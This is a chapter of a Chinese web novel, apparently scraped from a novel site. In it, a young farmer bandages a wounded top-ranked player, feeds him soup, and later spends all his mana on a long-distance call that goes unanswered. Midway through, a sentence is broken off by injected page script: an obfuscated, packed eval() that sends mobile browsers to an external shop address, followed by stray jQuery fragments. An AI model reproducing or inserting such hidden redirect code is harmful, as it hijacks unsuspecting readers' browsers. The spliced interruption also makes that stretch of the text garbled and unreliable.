文趣网 > 都市小说 > 全民求生:从小菜地到魔法饭馆 > 25. 【0】的到访
    小透明反手把门关严,门闩重新扣好,湿冷的雨气被木门隔在外面,只剩屋檐上淅淅沥沥的水声。

    童念深扶着【0】往里面挪,两步走完他才发现这人看着清瘦,实际沉得要命,整个人压在肩上,膝盖一弯差点把他一起带倒。

    “老张,帮个忙!”

    老张掀开铺盖爬起来,看见童念深半边肩膀被血水浸透,嘴里的埋怨瞬间咽了回去。

    他跨过来搭手,两个人一左一右架住,【0】的头垂在童念深肩窝里,呼吸又急又热,隔着两层衣料都能烫到他脖子。

    三个人合力把人放到靠墙铺盖上。

    小透明去烧热水,老张翻出干布,童念深蹲下来,指尖碰到那片已经被血浸透的黑衣。

    衣服从头到脚都是黑的,湿透以后贴着皮肤,肩背和腰腹的轮廓被水迹描得分明。

    童念深视线扫过去,目光在腰侧停了一瞬,看见线条被湿布料勾勒出来,呼吸的起伏清晰可见。

    他赶紧低头,咬住后槽牙,视线落到侧腹的伤口上。

    血腥味冲上来,刚才那点乱七八糟的念头瞬间散了。

    黑衣黏在伤口附近,不弄开根本没法处理啊,童念深很快给自己做好了心理准备。

    他先解掉腰侧的固定扣,指尖碰到扣环时蹭到一小块裸露的皮肤,停顿了一瞬,深吸一口气,仍然继续了动作。

    【0】轻轻抽动了一下,童念深赶紧顿住,迅速抬头看了一眼——呼,幸好人没醒。

    他小心翼翼地把湿透的布料从伤处一点一点剥开。

    伤口比想象中还深,边缘参差不齐,像被什么锋利东西横着划开。

    肩侧也有撞伤,手臂上分布着好几道浅口,血丝细密地渗出来。

    小透明端着热水过来,低头一看,倒吸一口凉气:“他不是排行榜第一吗?怎么伤成这样?”

    “榜一也是人啊。”童念深压低声音。

    童念深不是医学专业的,对处理伤口只是三脚猫功夫,紧张得额头都渗出了细汗,抖着手拿干布压住伤口边缘。

    突然,系统检测弹出来。

    【玩家:【0】】

    【当前状态:重伤】

    【生命值:34%】

    【异常状态:持续失血、高热、魔力严重透支】

    【装备状态:主武器缺失】

    童念深眉头一皱,下意识看向【0】腰侧——那里只剩一条空掉的固定扣。

    锋利的长刀不见了。

    他在西侧林地见过一次,就是【0】斩杀踏碎了霜白菜的那只怪兽的时候,刀身长而窄,刀柄缠着深色布条。

    长得扎眼,想记不住都难。

    可是现在刀去哪了?

    童念深还没想明白,手腕忽然一紧。

    他迅速低头,看见昏迷的人突然睁眼了,一只手扣住他的腕骨,五指收拢,速度迅疾,完全看不出生命值只剩三成。

    疼。童念深眉头抽了一下。

    【0】的目光里满是戒备,眼神锐利地从下到上扫视了童念深一遍,他眯了眯眼,看清面前的人以后,手指很快松开了。

    “抱歉。”【0】的声音有些沙哑,却不难听,反而意外地令人尝出一点蛊惑的意味。

    童念深低头揉了揉泛红的手腕,皮肤上一圈泛白的指印正慢慢泛红。

    “你……生命力挺顽强啊。”

    【0】没接话,扫视了一圈周围,眼神重新落到自己的腹部伤口上,鸦羽般的睫毛低垂,仿佛是在忍痛,轻轻地颤动着。

    “谢谢。”

    童念深把水碗递过去:“喝一点。”

    【0】伸手接,动作还算稳健,只是伸出的指尖没什么血色,碰到碗沿的时候骨节还泛着青白。

    他端着喝了两口,喉结慢慢滚动,热气扑在他冰凉的下颌上,凝成细小的水珠。

    童念深没忍住问道:“你那把长刀呢?”

    【0】掀起一点眼皮看他:“你怎么知道我用长刀?”

    童念深被问得一顿,耳根又开始发烫,低头把染血的布料放在旁边:“……以前看见你拿过。”

    【0】盯着他看了两秒,目光不紧不慢,仿佛在审视童念深的眼睛和嘴角是否在说谎。

    “丢了。”【0】收回目光,终于开口道。

    童念深有些惊讶:“遇到什么事了?”

    屋外雨水从屋檐一串串往下落,滴滴答答的,屋内只剩两人缓慢的呼吸声。

    【0】把水碗放在旁边的木箱上:“出了点事。”

    童念深等了两秒,以为还有下文,可没想到,【0】的两片薄唇已合到了一起,不打算再多说半个字。

    童念深虽然想追问他,可是感觉这种行为有点没边界感,于是还是闭嘴了,乖乖把【0】放在一旁的碗放到灶上去。

    谁知他一转身,看到【0】竟然想坐起来,童念深赶忙快步走到他身边,下意识双手搭到他肩上,正打算往下按,却又后知后觉地收了力道,成了个不三不四的轻推。

    【0】愣了一下,随即躺回去。

    他仰面倒在铺盖上,颈侧拉开一道绷直的线条,喉结凸出,湿发一缕一缕紧贴在太阳穴,水珠沿着鬓角滑进衣领。

    童念深别开目光,拿起止血布,打算为他重新缠上。

    两人的姿势实在很奇怪,童念深把止血布环在他身后,仿佛在抱着【0】,手还在微微颤颤,不知是掌握不好力道还是紧张。

    反观【0】就镇定的多,眼睛半合着,定是没什么力气,任由他摆布,只是有时布条划过伤口,难免一瞬间绷紧肌肉。

    童念深假装没注意到,加快速度把布条绑好了。

    【0】闭眼靠了一会儿,急促的呼吸终于稳定下来,胸膛的起伏变得均匀。

    童念深刚准备起身,却听到【0】沙哑的声音再次传来:“上次的事,抱歉。”

    “什么?”

    【0】半合的眼睛彻底睁开,瞳孔里映着灶台跳动的火光:“……传送法杖。”

    童念深一下子就想起来了,之前情况紧急,【0】压根没给他反应时间,直接动用传送法杖把人送走,落地后撞得可疼了。

    “你原来还记得啊?”

    “嗯。”

    童念深无奈点了点头,这事就算翻篇。

    ---

    老张和小透明出去检查水沟,童念深留在屋里重新做了一碗热汤。

    毕竟霜白菜不能动,刚被割过菜帮,眼下还老老实实结种,他舍不得再从那棵祖宗身上薅半片叶子。

    锅里用的是剩下的肉汤,添一把银麦面片,撒一点盐和青梗菜,最后顺手丢进去一撮葱花。

    热气扑腾起来,肉香混着麦香,屋里那股血腥味被冲散不少。

    童念深端着碗过去:“能自己吃吗?”

    【0】微微点点头:“可以。”

    他嘴上说得好听,碗刚接手,汤就沿着碗碗边危险地晃了一圈。

    童念深眼疾手快托住碗底,两个人的手指叠在一起。

    怎么这么凉?

    童念深第一反应是,这人的手如同冰块一般,分明的骨节抵着他手背,寒意顺着皮肤蔓延而上。

    “行了,别逞强。”童念深“咳咳”两声。

    【0】瞥了一眼两个人同时扶住的碗,撤回了自己的手:“麻烦了。”

    客气的有点过分了吧?他们也不是第一次打照面。

    童念深站着、蹲着,怎样都别扭,并且一勺一勺地给一个有手有脚的大男人喂饭这种事,他做起来还是不太习惯,于是干脆坐到【0】旁边,稍微把人扶起来一点,端着碗让他自己拿勺子吃。

    【0】低头喝了几口,睫毛垂着,在眼下投出两小片扇形的阴影。

    他舀起一勺汤,动作却顿住了,勺子悬在半空。

    童念深眉毛一拧,不好吃吗?这可是我做的耶。

    他不可置信地瞥了【0】几眼,见他正用勺子把葱花一点一点拨到碗边,眉心微微拧着。

    童念深松了一口气,至少不是自己做的东西难吃吧。

    忽然,他的记忆仿佛被一道闪电击中,以前有个人也是这副德行,面里不能有葱,汤里不能有葱,哪怕混进去两粒都得挑出来。

    心里那点刚冒出来的念头被他自己按回去。开什么玩笑。天下不吃葱的人多得去了,难不成每个挑葱花的都能和那个人扯上关系?

    【0】抬眼,目光落在童念深脸上,眉心微蹙:“怎么了?”

    “没什么。”童念深局促地笑了一下,低头继续整理药布,布条在他手里绕了两圈又散开,他重新卷紧。

    屋里安静下来,但是并不尴尬,甚至有点怪异的熟悉。

    童念深意识到这一点,脑子更混乱了。

    真烦。还是干活吧。

    他把药布叠好塞回应急箱里,木箱盖子合上,发出一声闷响,惊得灰毛小兽从灶台边蹿起来。

    ---

    外面突然传来一阵剧烈的水声,犹如江涛拍岸般汹涌。

    童念深猛地抬头,脊背瞬间绷直,【0】也睁开眼,撑着铺盖坐起来半个身子。

    他们的视线不约而同地撞到一起。

    童念深喉结一动,看见他腰侧刚刚包好的伤口,白色布条上又洇出一点粉红色。

    【0】垂了垂眼,撑着手没动。

    两人相顾无言,任由沉默弥漫。

    小透明忽然推门进来:“没事!别担心,只是上游冲下来一棵树,没涨水!”

    童念深连忙回头,收回与【0】对视的目光,冲小透明点了点头。

    ---

    【0】的状态比预期恢复得快。

    “今天别走了,”童念深嘴比脑子快,“我是说外面可能发洪水。”

    【0】掀起眼帘,眉尾微微挑了一下。

    童念深已经准备好解释:“洪水还没退,你伤口——”

    “好。”

    童念深后半句卡在嘴边,答应这么快?

    他还以为得劝两轮,腹稿都打到第

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17918053|213383||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    三版了。

    小透明在旁边看了一眼屋子,忽然发现一个非常现实的问题:“童老板,那你今晚睡哪里?”

    原本三个人已经够挤了,多一个【0】之后墙边、门边、灶边全塞满了。

    老张叹了口气:“这屋子又该升级了。”

    “我也想啊,可是魔晶不好找。”

    话音刚落,童念深的面板就传来滴的一声。

    【已收到魔晶4颗】

    啊?天上怎么掉馅饼了?

    童念深赶紧闭眼虔诚地许愿,请给我几张兽皮,再多来几颗魔晶吧,最好还能来点优秀的床品和炊具。

    【0】的嗓音突然响起来:“我背包里有几颗。给你了。”

    童念深转头:“啊?”

    原来不是免费的午餐啊。

    【0】依稀看见他嘴一瘪,问道:“还差几颗?”

    “不差了不差了。”童念深赶紧把话头堵住,控制好面部表情,他可不想让对方以为自己是那种趁火打劫的人。

    ---

    夜深,雨声渐小。

    老张和小透明都躺下了,老张翻了个身背对着墙,小透明裹着铺盖蜷在灶台边。

    【0】闭眼养伤,呼吸轻浅而匀静,一只手搭在伤处,指尖随着呼吸微微起伏。

    童念深却怎么都睡不着。

    【0】也不喜欢吃葱花吗?

    无厘头的问题在他脑海中盘旋。

    ……昨晚传话信箱对于记忆中的那个人没有死亡判定。

    童念深翻了个身,木板嘎吱叫了一声。

    算了。再试一次。他清醒地坐起来。

    他把传话信箱拖到灶台旁边,灰白面板亮起来,上一次失败的联系人记录还在最上面。

    系统随即弹出新的提示。

    【检测到有效关系锚点。】

    【上一次普通连接失败。】

    【可发起一次高强度远距传话请求。】

    【消耗魔力:100点】

    【当前魔力:100/100】

    【是否发起?】

    童念深右眼皮一跳,系统简直没把他当人啊。

    【是否确认?】

    他牙关一紧,按下确认。

    魔力开始疯狂下降。

    童念深手指发凉,指尖一片麻木,他攥了攥拳头又松开。

    【魔力值:44/100】

    他的耳边出现很轻的嗡鸣,像一根细弦在耳膜上振动。

    【魔力值:11/100】

    童念深眼前一黑,不受控制地向前栽去,双臂“砰”地一下砸在木箱表面,额头也吃了痛。

    小透明不知何时醒了,连忙过来扶他,手搭上他胳膊,焦急地轻声喊道:“童老板!”

    “没事。”童念深喘了一口气,胸口剧烈起伏,眼睛始终盯着传话信箱。

    【正在跨区域寻找目标……】

    【关系锚点确认。】

    童念深喉结一动,喉咙发干。

    【目标状态:可连接】

    童念深指尖攥紧桌沿,指甲几乎嵌进木头里,连耳边越来越大声的嗡鸣都顾不上了。

    【正在发起传话请求……】

    信箱内部响起规律的呼叫声,滴,滴,滴,一声接一声,在安静的屋里格外清晰。

    童念深紧盯面板,强忍晕眩。

    【等待目标回应……】

    【剩余呼叫时间:10s】

    滴。

    【9s】

    滴。还是没人。

    童念深掌心全是汗,湿漉漉地贴在箱子上。

    【8s】

    他听见自己的心跳声,咚咚咚地在胸腔里四处乱撞。

    【5s】

    童念深牙关咬紧了。

    【2s】

    依旧没有回应。

    最后一秒结束了。

    【目标暂未回应】

    【是否继续等待?】

    童念深眼眶发酸,灰白面板的光映在他脸上,他看见自己模糊的倒影在屏幕表面晃了一下,嘴唇抿成一条线。

    最后伸手按下了【结束连接】。

    传话信箱的光一下暗下去,屋里重新只剩炭火的红光,明灭之间把每个人的脸都涂上一层暗橙色。

    小透明抿抿嘴,小声问:“还是没人吗?”

    “嗯。”童念深的声音有点哑。

    老张看着他:“至少人还在。”

    童念深如鲠在喉,撑着桌沿站起来,耳朵里那阵嗡鸣一直没停过,像回忆的鱼钩,无时无刻不在垂钓痛苦。

    “睡吧。”童念深拿起水碗喝了一口,水已经凉了,激得他牙根一酸。

    外面的雨又密了些,水珠打在屋顶上,噼里啪啦响成一片。

    “滴。”系统的提示音很轻,被雨声盖过去。

    童念深耳边嗡鸣一片,没有回头。

    【0】的面板上,一行新的提示安静跳了出来——

    【未接传话请求×1】